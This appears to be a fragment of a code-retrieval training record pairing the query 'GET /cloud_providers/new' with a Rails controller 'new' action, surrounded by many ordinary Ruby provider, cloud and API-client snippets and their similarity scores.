"def data_providers_get_with_http_info(opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug 'Calling API: DataProvidersApi.data_providers_get ...'\n end\n # resource path\n local_var_path = '/data_providers'\n\n # query parameters\n query_params = {}\n query_params[:'page'] = opts[:'page'] if !opts[:'page'].nil?\n query_params[:'per_page'] = opts[:'per_page'] if !opts[:'per_page'].nil?\n\n # header parameters\n header_params = {}\n # HTTP header 'Accept' (if needed)\n header_params['Accept'] = @api_client.select_header_accept(['application/json', 'application/xml'])\n # HTTP header 'Content-Type'\n header_params['Content-Type'] = @api_client.select_header_content_type(['application/json', 'application/x-www-form-urlencoded', 'multipart/form-data'])\n\n # form parameters\n form_params = {}\n\n # http body (model)\n post_body = nil\n auth_names = ['BrainPortalSession']\n data, status_code, headers = @api_client.call_api(:GET, local_var_path,\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => 'Array<DataProvider>')\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: DataProvidersApi#data_providers_get\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end",
"def new\n @title = t('view.providers.new_title')\n @provider = Provider.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @provider }\n end\n end",
"def show\n @data_provider = DataProvider.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @data_provider }\n end\n end",
"def provider\n ::Deepblue::LoggingHelper.bold_debug [ ::Deepblue::LoggingHelper.here,\n ::Deepblue::LoggingHelper.called_from,\n \"\" ] if browse_everything_controller2_debug_verbose\n prov_name = provider_name\n rv = browser.providers[prov_name.to_sym] if prov_name.present?\n rv ||= browser.first_provider\n # browser.providers[provider_name.to_sym] || browser.first_provider\n ::Deepblue::LoggingHelper.bold_debug [ ::Deepblue::LoggingHelper.here,\n ::Deepblue::LoggingHelper.called_from,\n \"provider=#{rv}\",\n \"\" ] if browse_everything_controller2_debug_verbose\n rv\n end",
"def get_cloud(cloud_id)\n http_get_request(Scalarium.clouds_url+\"/#{cloud_id}\") \n end",
"def get_cloud_instances(cloud_id)\n http_get_request(Scalarium.clouds_url+\"/#{cloud_id}/instances\") \n end",
"def show\n @email_service_provider = EmailServiceProvider.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @email_service_provider }\n end\n end",
"def show\n respond_to do |format|\n format.html # show.html.erb\n format.xml # show.xml.builder\n format.json { render :json => @service_provider.to_json }\n end\n end",
"def provider\n providers.first\n end",
"def provider\n get(PROVIDER)\n end",
"def cloud\n ext_management_system.provider.cloud_ems.first\n end",
"def show\n @app = @client.app(params[:id])\n @paas_providers = cached_providers\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @app }\n end\n end",
"def get_cloud_provider\n\t\t\t\tcloud = node[:cloud][:provider].to_s\n\t\t\t\tcloud.strip!\n\t\t\t\treturn cloud\n\t\t\tend",
"def endpoint\n \"https://#{region.sub(/-\\d$/, '')}.power-iaas.cloud.ibm.com/pcloud/v1\"\n end",
"def update\n @cloud_provider = current_user.cloud_providers.find(params[:id])\n\n respond_to do |format|\n if @cloud_provider.update_attributes(params[:cloud_provider])\n format.html { redirect_to @cloud_provider, notice: 'Cloud provider was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @cloud_provider.errors, status: :unprocessable_entity }\n end\n end\n end",
"def index\n @data_providers = DataProvider.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @data_providers }\n end\n end",
"def getKind\n @products = Product.where(\"kind = ?\", params[:kind]).available.PriceOrder.paginate(page: params[:page], per_page: 5)\n render json: @products\n end",
"def show\n @cloudstrgplugin = Cloudstrgplugin.find(params[:id])\n \n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @cloudstrgplugin }\n end\n end",
"def create\n @cloud_provider = params[:cloud_provider][:type].constantize.new(params[:cloud_provider])\n respond_to do |format|\n begin\n @cloud_provider.save\n format.html { redirect_to @cloud_provider, notice: 'Cloud provider was successfully created.' }\n format.json { render json: @cloud_provider, status: :created, location: @cloud_provider }\n rescue\n flash[:error] = \"Check the credentials again\"\n format.html { render action: \"new\" }\n format.json { render json: @cloud_provider.errors, status: :unprocessable_entity }\n end\n end\n end",
"def list_tenants_for_circle(args = {}) \n get(\"/tenantcircles.json/tenants\", args)\nend",
"def index\n @providers = Provider.all\n \n respond_to do |format|\n format.json {render json: @providers}\n format.xml {render xml: @providers}\n end\n end",
"def provider\n @provider ||= Bosh::CloudFoundry::Providers.for_bosh_provider_name(system_config)\n end",
"def index\n @email_service_providers = EmailServiceProvider.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @email_service_providers }\n end\n end",
"def list_tenants_for_circles(args = {}) \n get(\"/tenants.json/circles\", args)\nend",
"def show\n @payment_provider = PaymentProvider.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @payment_provider }\n end\n end",
"def create\n @provider = current_company.providers.new(params[:provider])\n\n respond_to do |format|\n if @provider.save\n format.html { redirect_to @provider, notice: 'Provider was successfully created.' }\n format.json { render json: @provider, status: :created, location: @provider }\n else\n format.html { render action: \"new\" }\n format.json { render json: @provider.errors, status: :unprocessable_entity }\n end\n end\n end",
"def index\n @supplier_providers = Supplier::Provider.all\n end",
"def index\n return provider_locator if params[:type] == 'cc_provider'\n\n facilities\n end",
"def show\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @external_credential }\n end\n end",
"def cloud_provider\n (cloud.nil? ? nil : cloud.cloud_provider)\n end",
"def index\n @aws_platforms = AwsPlatform.all\n end",
"def index\n # @cloud_resources = CloudResource.all\n root = CloudResource.find_root\n root = params[:id] || root.id\n @cloud_resource = CloudResource.find root.to_i\n @cloud_resources = @cloud_resource.children(params[:page] || 1).order(\"name DESC\")\n end",
"def populate_providers_hash\n # GET A LIST OF ALL PROVIDERS\n Rails.logger.info(\"Retrieving providers list from #{@ingest_providers_list_endpoint}\")\n response = RestClient::Request.execute :method => :get, :url => \"#{@ingest_providers_list_endpoint}\", :verify_ssl => OpenSSL::SSL::VERIFY_NONE\n if (response.code != 200)\n Rails.logger.info(\"ERROR #{response.code} retrieving providers list\")\n # terminate task if we cannot validate the providers names\n exit(status=256)\n else\n list_of_providers_hashes = JSON.parse!(response.body)\n list_of_providers_hashes.each do |hash|\n provider_id = hash['provider-id']\n @all_providers[provider_id] = 'Y'\n end\n Rails.logger.info(\"RETRIEVED A LIST OF ALL PROVIDERS, SIZE: #{list_of_providers_hashes.size}, LOOKUP SIZE: #{@all_providers.size}\")\n end\n end",
"def provider\n @provider ||= Bosh::CloudFoundry::Providers.for_bosh_provider_name(system_config)\n end",
"def get_kubernetes_virtual_machine_infrastructure_provider_list_with_http_info(opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug 'Calling API: KubernetesApi.get_kubernetes_virtual_machine_infrastructure_provider_list ...'\n end\n allowable_values = [\"allpages\", \"none\"]\n if @api_client.config.client_side_validation && opts[:'inlinecount'] && !allowable_values.include?(opts[:'inlinecount'])\n fail ArgumentError, \"invalid value for \\\"inlinecount\\\", must be one of #{allowable_values}\"\n end\n # resource path\n local_var_path = '/api/v1/kubernetes/VirtualMachineInfrastructureProviders'\n\n # query parameters\n query_params = opts[:query_params] || {}\n query_params[:'$filter'] = opts[:'filter'] if !opts[:'filter'].nil?\n query_params[:'$orderby'] = opts[:'orderby'] if !opts[:'orderby'].nil?\n query_params[:'$top'] = opts[:'top'] if !opts[:'top'].nil?\n query_params[:'$skip'] = opts[:'skip'] if !opts[:'skip'].nil?\n query_params[:'$select'] = opts[:'select'] if !opts[:'select'].nil?\n query_params[:'$expand'] = opts[:'expand'] if !opts[:'expand'].nil?\n query_params[:'$apply'] = opts[:'apply'] if !opts[:'apply'].nil?\n query_params[:'$count'] = opts[:'count'] if !opts[:'count'].nil?\n query_params[:'$inlinecount'] = opts[:'inlinecount'] if !opts[:'inlinecount'].nil?\n query_params[:'at'] = opts[:'at'] if !opts[:'at'].nil?\n query_params[:'tags'] = opts[:'tags'] if !opts[:'tags'].nil?\n\n # header parameters\n header_params = opts[:header_params] || {}\n # HTTP header 'Accept' (if needed)\n header_params['Accept'] = @api_client.select_header_accept(['application/json', 'text/csv', 'application/vnd.openxmlformats-officedocument.spreadsheetml.sheet'])\n\n # form parameters\n form_params = opts[:form_params] || {}\n\n # http body (model)\n post_body = opts[:debug_body]\n\n # return_type\n return_type = opts[:debug_return_type] || 'KubernetesVirtualMachineInfrastructureProviderResponse'\n\n # auth_names\n auth_names = opts[:debug_auth_names] || ['cookieAuth', 'http_signature', 'oAuth2', 'oAuth2']\n\n new_options = opts.merge(\n :operation => :\"KubernetesApi.get_kubernetes_virtual_machine_infrastructure_provider_list\",\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => return_type\n )\n\n data, status_code, headers = @api_client.call_api(:GET, local_var_path, new_options)\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: KubernetesApi#get_kubernetes_virtual_machine_infrastructure_provider_list\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end",
"def show\n @supplies_providers_loan = SuppliesProvidersLoan.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @supplies_providers_loan }\n end\n end",
"def index\n @provider_projects = ProviderProject.all\n end",
"def list_cloud_data\n\t\tbegin\n\t\t\t@response, @headers, @url = amazon_request(\"Get\", \"/?prefix=#{current_user.email}&delimiter=%2F\", \"\", \"\", :cloud => @s3)\n\t\t\t@response_favorites, @headers_favorites, @url_favorites = amazon_request(\"Get\", \"/?prefix=Favorites&delimiter=%2F\", \"\", \"\", :cloud => @s3)\n\t\t\t@response_demos, @headers_demos, @url_demos = amazon_request(\"Get\", \"/?prefix=Demos&delimiter=%2F\", \"\", \"\", :cloud => @s3)\n\t\trescue\n\t\t\tsession[:error] = \"Can't connect to the Amazon bucket. Check the environment variables\"\n\t\t\tredirect_to :controller => \"clouds\", :action => \"error\", :id => \"0\"\n\t\tend\n\tend",
"def show\n set_surrogate_key_header \"api/platforms/#{@platform.id}/projects\"\n set_cache_control_headers 3600\n end",
"def index\n @healthcare_providers = HealthcareProvider.all\n end",
"def get_provider_collections(params = {})\n collection_params = {\n 'provider' => current_user.provider_id,\n 'page_size' => 25\n }.stringify_keys.merge(params.stringify_keys)\n\n Rails.logger.debug \"Provider Collection Request parameters: #{collection_params}\" unless request.xhr?\n\n if collection_params.key?('short_name')\n collection_params['short_name'].concat('*')\n\n # In order to search with the wildcard parameter we need to tell CMR to use it\n collection_params['options'] = {\n 'short_name' => {\n 'pattern' => true\n }\n }\n end\n\n # Adds wildcard searching\n collection_params['keyword'].concat('*') if collection_params.key?('keyword')\n\n # Retreive the collections from CMR, allowing a few additional parameters\n cmr_client.get_collections_by_post(collection_params, token).body\n end",
"def client_choose(offset = 10, limit = 20)\n response = Net::HTTP.get(\n URI(\"https://pokeapi.co/api/v2/pokemon/?offset=#{offset}&limit=#{limit}\")\n )\n \n JSON.parse(response)\nend",
"def test\n client = Google::APIClient.new(:application_name => \"supress\")\n connection = Fog::Compute.new(:provider => \"Google\", :google_client => client)\n\n begin\n p connection.client.discovered_apis\n p connection.servers\n rescue StandardError => e\n p e.message\n end\nend",
"def show\n @platform = Platform.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @platform }\n end\n end",
"def index\n auth_response = plaid_client.auth.get(access_token)\n render json: auth_response.to_json\n end",
"def index\n @platforms = Platform.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @platforms }\n end\n end",
"def create\n @provider = Provider.new(provider_params)\n\n if @provider.save\n render json: @provider, status: :created, location: @provider\n else\n render json: @provider.errors, status: :unprocessable_entity\n end\n end",
"def index\n @external_credentials = ExternalCredential.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @external_credentials }\n end\n end",
"def index\n @capacites = Capacite.paginate(page: params[:page], per_page: 25)\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @capacites }\n end\n end",
"def cloud_resources\n @cloud_resources ||= ::CloudResources.new\n return @cloud_resources\n end",
"def getJson(url)\n\t\tencoded_url = URI.encode(\"https://cryptic-mountain-56365.herokuapp.com/api/v1\"+url)\n\t\turi = URI.parse(encoded_url)\n\t\tjson = Net::HTTP.get(uri)\n\tend",
"def list\n get 'projects'\n end",
"def show\n @providerable, @name = find_polymorphic\n @provider = ProviderInsurance.find(params[:id])\n @title = @name.titleize + \" Provider Insurance\"\n @show = true\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @provider }\n end\n end",
"def get_products()\n\tputs \"Getting products\"\n\tresponse = request_get(\"/api/product\")\n\tputs response.body\nend",
"def getclconfig\n #@creds = @current_user.clouds.all.sort_by(&:provider)\n @stack = Appman.find_by_uuid(params[:uuid])\n @creds = @stack.clouds.all.sort_by(&:provider)\n #@creds = Cloud.all.sort_by(&:provider)\n @azure = false\n @google = false\n @kubernetes = false\n @openstack = false\n @dockerregistry = false\n @aws = false\n @creds.each do |c|\n case c.provider\n when \"azure\"\n @azure = true\n when \"google\"\n @google = true\n when \"kubernetes\"\n @kubernetes = true\n when \"openstack\"\n @openstack = true\n when \"dockerregistry\"\n @dockerregistry = true\n when \"aws\"\n @aws = true\n end\n end\n @appmenid = params[:uuid]\n render \"clouds/getclconfig\", layout: false\n end",
"def destroy\n @provider = current_company.providers.find(params[:id])\n @provider.destroy\n\n respond_to do |format|\n format.html { redirect_to providers_url }\n format.json { head :no_content }\n end\n end",
"def index\n @api_v1_products = Product.all\n json_response(@api_v1_products)\n end",
"def get_pcloud_instance\n get(\"cloud-instances/#{guid}\")\n end",
"def new_provider(port,bool)\n stub_framework(bool)\n fill_in \"provider[name]\", :with => \"ec2-testprovider\"\n fill_in \"provider[url]\", :with => \"http://localhost:#{port}/api\"\n select(\"Amazon EC2\", :from => \"provider_provider_type_id\")\n click_button \"Create Provider\"\nend",
"def providers\n @providers.keys\n end",
"def data_providers_get(opts = {})\n data, _status_code, _headers = data_providers_get_with_http_info(opts)\n data\n end",
"def create\n @provider = Provider.new(provider_params)\n\n respond_to do |format|\n if @provider.save\n format.html { redirect_to @provider, notice: 'Provider was successfully created.' }\n format.json { render :show, status: :created, location: @provider }\n else\n format.html { render :new }\n format.json { render json: @provider.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @provider = Provider.new(provider_params)\n\n respond_to do |format|\n if @provider.save\n format.html { redirect_to @provider, notice: 'Provider was successfully created.' }\n format.json { render action: 'show', status: :created, location: @provider }\n else\n format.html { render action: 'new' }\n format.json { render json: @provider.errors, status: :unprocessable_entity }\n end\n end\n end",
"def cim_gateway\n @provider\n end",
"def set_v1_provider_operation\n @v1_provider_operation = V1::ProviderOperation.find(params[:id])\n end",
"def provider_name\n ::Deepblue::LoggingHelper.bold_debug [ ::Deepblue::LoggingHelper.here,\n ::Deepblue::LoggingHelper.called_from,\n \"\" ] if browse_everything_controller2_debug_verbose\n rv = params[:provider] || provider_name_from_state || browser.providers.each_key.to_a.first\n ::Deepblue::LoggingHelper.bold_debug [ ::Deepblue::LoggingHelper.here,\n ::Deepblue::LoggingHelper.called_from,\n \"provider_name rv=#{rv}\",\n \"\" ] if browse_everything_controller2_debug_verbose\n rv\n end",
"def list_endpoints\n render json: @endpoints, status: 200\n end",
"def available_service_providers\n @providers = ServiceProvider.order(rating: :desc).order(rating_count: :desc)\n end"
] |
[
"0.72448206",
"0.66708875",
"0.6643025",
"0.6589265",
"0.65434766",
"0.64967513",
"0.645369",
"0.64236474",
"0.6386545",
"0.6386545",
"0.63220316",
"0.6312886",
"0.6206023",
"0.61762816",
"0.61558086",
"0.6119046",
"0.610792",
"0.6082324",
"0.60042185",
"0.5968971",
"0.59596145",
"0.5947338",
"0.5933314",
"0.5888158",
"0.58794904",
"0.5872577",
"0.58626103",
"0.5838421",
"0.5838421",
"0.58355045",
"0.5818734",
"0.57890624",
"0.5773791",
"0.57473975",
"0.57437235",
"0.5725803",
"0.5707769",
"0.5696568",
"0.56864953",
"0.56840897",
"0.5675941",
"0.56721026",
"0.5670486",
"0.56642866",
"0.5633782",
"0.5629438",
"0.5629427",
"0.5616916",
"0.5600149",
"0.55985075",
"0.5569481",
"0.5560804",
"0.55553883",
"0.5551448",
"0.5548161",
"0.55337226",
"0.5520764",
"0.55067664",
"0.54929394",
"0.54918104",
"0.54871464",
"0.5469648",
"0.5451255",
"0.5450332",
"0.54462826",
"0.54401785",
"0.5436896",
"0.5436824",
"0.54082733",
"0.54077595",
"0.5405581",
"0.5401508",
"0.5398267",
"0.5394327",
"0.538724",
"0.53840226",
"0.5381972",
"0.5379932",
"0.53797644",
"0.5378346",
"0.5347278",
"0.5341487",
"0.53384286",
"0.53381854",
"0.5332977",
"0.5308836",
"0.53055346",
"0.5292658",
"0.5284735",
"0.5277795",
"0.5273945",
"0.52700156",
"0.5267221",
"0.5263625",
"0.5263364",
"0.5259786",
"0.5257711",
"0.5254912",
"0.52548325",
"0.5251186"
] |
0.7597724
|
0
|
GET /cloud_providers/new GET /cloud_providers/new.json
|
def new
@cloud_provider = current_user.cloud_providers.new
respond_to do |format|
format.html # new.html.erb
format.json { render json: @cloud_provider }
end
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def new\n @provider = current_company.providers.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @provider }\n end\n end",
"def new\n @title = t('view.providers.new_title')\n @provider = Provider.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @provider }\n end\n end",
"def new\n @provider = Provider.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @provider }\n end\n end",
"def new\n @provider = Provider.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @provider }\n end\n end",
"def new\n @provider = Provider.new\n @provider.build_address\n @services = Service.all\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @provider }\n end\n end",
"def new\n @cloud = Cloud.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render :json => @cloud }\n end\n end",
"def create\n @title = t('view.providers.new_title')\n @provider = Provider.new(params[:provider])\n\n respond_to do |format|\n if @provider.save\n format.html { redirect_to @provider, notice: t('view.providers.correctly_created') }\n format.json { render json: @provider, status: :created, location: @provider }\n else\n format.html { render action: 'new' }\n format.json { render json: @provider.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @provider = current_company.providers.new(params[:provider])\n\n respond_to do |format|\n if @provider.save\n format.html { redirect_to @provider, notice: 'Provider was successfully created.' }\n format.json { render json: @provider, status: :created, location: @provider }\n else\n format.html { render action: \"new\" }\n format.json { render json: @provider.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @provider = Provider.new(params[:provider])\n\n respond_to do |format|\n if @provider.save\n format.html { redirect_to @provider, notice: 'Provider was successfully created.' }\n format.json { render json: @provider, status: :created, location: @provider }\n else\n format.html { render action: \"new\" }\n format.json { render json: @provider.errors, status: :unprocessable_entity }\n end\n end\n end",
"def new\n @flavours = @provider.get_flavors\n puts \"getting the flavors #{@flavours.inspect}\"\n @images = @provider.get_images\n puts \"getting the flavors #{@images.inspect}\"\n @instance = @provider.instances.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @instance }\n end\n end",
"def create\n @provider = Provider.new(provider_params)\n\n if @provider.save\n render json: @provider, status: :created, location: @provider\n else\n render json: @provider.errors, status: :unprocessable_entity\n end\n end",
"def create\n @cloud_provider = params[:cloud_provider][:type].constantize.new(params[:cloud_provider])\n respond_to do |format|\n begin\n @cloud_provider.save\n format.html { redirect_to @cloud_provider, notice: 'Cloud provider was successfully created.' }\n format.json { render json: @cloud_provider, status: :created, location: @cloud_provider }\n rescue\n flash[:error] = \"Check the credentials again\"\n format.html { render action: \"new\" }\n format.json { render json: @cloud_provider.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @provider = Provider.new(provider_params)\n\n respond_to do |format|\n if @provider.save\n format.html { redirect_to @provider, notice: 'Provider was successfully created.' }\n format.json { render action: 'show', status: :created, location: @provider }\n else\n format.html { render action: 'new' }\n format.json { render json: @provider.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @provider = Provider.new(provider_params)\n\n respond_to do |format|\n if @provider.save\n format.html { redirect_to @provider, notice: 'Provider was successfully created.' }\n format.json { render :show, status: :created, location: @provider }\n else\n format.html { render :new }\n format.json { render json: @provider.errors, status: :unprocessable_entity }\n end\n end\n end",
"def new\r\n @provider = Provider.new\r\n render_new\r\n end",
"def create\n @info_provider = Info::Provider.new(info_provider_params)\n\n respond_to do |format|\n if @info_provider.save\n format.html { redirect_to @info_provider, notice: 'Provider was successfully created.' }\n format.json { render :show, status: :created, location: @info_provider }\n else\n format.html { render :new }\n format.json { render json: @info_provider.errors, status: :unprocessable_entity }\n end\n end\n end",
"def new\n @data_provider = DataProvider.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @data_provider }\n end\n end",
"def create\n @provider = Provider.new(params[:provider])\n @services = Service.all\n\n respond_to do |format|\n if @provider.save\n format.html { redirect_to providers_path, notice: 'As informacoes foram salvas com sucesso.' }\n format.json { render json: @provider, status: :created, location: @provider }\n else\n format.html { render action: \"new\" }\n format.json { render json: @provider.errors, status: :unprocessable_entity }\n end\n end\n end",
"def new\n @provider = Provider.new\n end",
"def new\n @provider = Provider.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @provider }\n end\n end",
"def new\n @cloud = Cloud.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @cloud }\n end\n end",
"def new\n @providerable, @name = find_polymorphic\n @provider = ProviderInsurance.new\n @title = @name.titleize + \" New Provider Insurance\"\n @all_insurance_company = InsuranceCompany.find(:all, :order => :name)\n @edit = true\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @provider }\n end\n end",
"def new\n @platform = Platform.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @platform }\n end\n end",
"def new\n @cloud = Cloud.new\n end",
"def new\n @cloudstrgplugin = Cloudstrgplugin.new\n \n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @cloudstrgplugin }\n end\n end",
"def create\n @cloud = Cloud.new(params[:cloud])\n\n respond_to do |format|\n if @cloud.save\n format.html { redirect_to @cloud, :notice => 'Cloud was successfully created.' }\n format.json { render :json => @cloud, :status => :created, :location => @cloud }\n else\n format.html { render :action => \"new\" }\n format.json { render :json => @cloud.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def create\n @provider = Provider.new(params[:provider])\n\n respond_to do |format|\n if @provider.save\n flash[:notice] = 'Provider was successfully created.'\n format.html { redirect_to providers_path }\n format.xml { render :xml => @provider, :status => :created, :location => @provider }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @provider.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def new\n @payment_provider = PaymentProvider.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @payment_provider }\n end\n end",
"def create\n # puts \"provider_params #{provider_params}\"\n @provider = Provider.new(check_params)\n respond_to do |format|\n if @provider.save\n format.html { redirect_to providers_page_url, notice: 'Поставщик успешно создан.' }\n format.json { render :show, status: :created, location: @provider }\n else\n # puts \"@provider.errors #{@provider.errors.full_messages}\"\n # puts \"@provider #{@provider.to_json}\"\n format.html { render :new }\n format.json { render json: @provider.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @provider = Provider.new(params[:provider])\n @provider.active = true\n\n respond_to do |format|\n if @provider.save\n format.html { redirect_to @provider, notice: 'Provider was successfully created.' }\n format.json { render json: @provider, status: :created, location: @provider }\n else\n format.html { render action: \"new\" }\n format.json { render json: @provider.errors, status: :unprocessable_entity }\n end\n end\n end",
"def new\n @provider = Provider.new\n @provider.locations.build\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @provider }\n end\n end",
"def new\n @supplies_providers_loan = SuppliesProvidersLoan.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @supplies_providers_loan }\n end\n end",
"def create\n @provider = Provider.new(provider_params)\n @provider.user_id = current_user.id\n\n respond_to do |format|\n if @provider.save\n format.html { redirect_to @provider, notice: 'Provider was successfully created.' }\n format.json { render :show, status: :created, location: @provider }\n else\n format.html { render :new }\n format.json { render json: @provider.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @provider_provider_type = Provider::ProviderType.new(provider_provider_type_params)\n @provider_provider_type.user_created_id = current_user.id\n respond_to do |format|\n if @provider_provider_type.save\n format.html { redirect_to provider_provider_types_path, notice: I18n.t('provider_types.controller.create') }\n format.json { render :show, status: :created, location: @provider_provider_type }\n else\n format.html { render :new }\n format.json { render json: @provider_provider_type.errors, status: :unprocessable_entity }\n end\n end\n end",
"def new\n @supplysite = Supplysite.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @supplysite }\n end\n end",
"def create_new_admin\n @provider = Provider.new\n end",
"def create\n @supplier_provider = Supplier::Provider.new(supplier_provider_params)\n\n respond_to do |format|\n if @supplier_provider.save\n format.html { redirect_to @supplier_provider, notice: 'Provider was successfully created.' }\n format.json { render :show, status: :created, location: @supplier_provider }\n else\n format.html { render :new }\n format.json { render json: @supplier_provider.errors, status: :unprocessable_entity }\n end\n end\n end",
"def new\n do_new_resource\n get_project_if_exists\n do_set_attributes\n do_authorize_instance\n\n # initialize lat/lng to Brisbane-ish\n @site.longitude = 152\n @site.latitude = -27\n respond_to do |format|\n format.html\n format.json { respond_new }\n end\n end",
"def new\n @signspot_project = Signspot::Project.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @signspot_project }\n end\n end",
"def new\n do_new_resource\n get_project_site\n do_set_attributes\n do_authorize_instance\n\n respond_new\n end",
"def new\n self.default_provider.new\n end",
"def new\n @provider_type = ProviderType.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @provider_type }\n end\n end",
"def create\n @cloud_resource = CloudResource.new(cloud_resource_params)\n\n respond_to do |format|\n if @cloud_resource.save\n format.html { redirect_to @cloud_resource, notice: 'Cloud resource was successfully created.' }\n format.json { render :show, status: :created, location: @cloud_resource }\n else\n format.html { render :new }\n format.json { render json: @cloud_resource.errors, status: :unprocessable_entity }\n end\n end\n end",
"def new\n @person = Person.new\n set_person_attribute_defaults(@person)\n @provider = Provider.find(params[:provider_id]) unless params[:provider_id].blank?\n if @provider\n @person.person_provider_links.build(:psu_code => @psu_code,\n :provider => @provider,\n :person => @person,\n :is_active_code => 1)\n @person.sampled_persons_ineligibilities.build(:psu_code => @psu_code,\n :person => @person,\n :provider => @provider)\n end\n\n respond_to do |format|\n format.html # new.html.haml\n format.json { render :json => @person }\n end\n end",
"def new\n @project = Project.new\n\t@project.email = current_user.provider_email\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @project }\n end\n end",
"def new\n @vpn = Vpn.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @vpn }\n end\n end",
"def new\n @vpn = Vpn.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @vpn }\n end\n end",
"def new\n @email_service_provider = EmailServiceProvider.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @email_service_provider }\n end\n end",
"def new\n @project = Project.new(user_id: current_user.id)\n find_people_list\n fetch_clients\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @project }\n end\n end",
"def new_provider(port,bool)\n stub_framework(bool)\n fill_in \"provider[name]\", :with => \"ec2-testprovider\"\n fill_in \"provider[url]\", :with => \"http://localhost:#{port}/api\"\n select(\"Amazon EC2\", :from => \"provider_provider_type_id\")\n click_button \"Create Provider\"\nend",
"def new\n @security_proj_type = SecurityProjType.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @security_proj_type }\n end\n end",
"def new\n @project = Project.new\n @services = Service.find(:all)\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @project }\n end\n end",
"def new\n @security_proj = SecurityProj.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @security_proj }\n end\n end",
"def create\n provider = Manage::Provider.find_by(login: manage_provider_params[:login])\n if provider\n flash_msg('danger', \"此账号已经存在\", 'new')\n else\n manage_provider = Manage::Provider.new(manage_provider_params)\n begin\n if manage_provider.save\n flash_msg('success', '添加供应商成功!', 'index')\n end\n rescue Exception => e\n flash_msg('danger', \"添加供应商失败!#{error_msg(manage_provider)}\", 'new')\n end\n end\n end",
"def new\n @projecct = Projecct.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @projecct }\n end\n end",
"def new\n @major = Major.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @major }\n end\n end",
"def new\n @region = Region.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @region }\n end\n end",
"def new_link\n @project = Project.new(user_id: current_user.id)\n fetch_projects\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @project }\n end\n end",
"def create\n @data_provider = DataProvider.new(params[:data_provider])\n\n respond_to do |format|\n if @data_provider.save\n format.html { redirect_to root_path, notice: 'Data provider was successfully created.' }\n format.json { render json: @data_provider, status: :created, location: @data_provider }\n else\n format.html { render action: \"new\" }\n format.json { render json: @data_provider.errors, status: :unprocessable_entity }\n end\n end\n end",
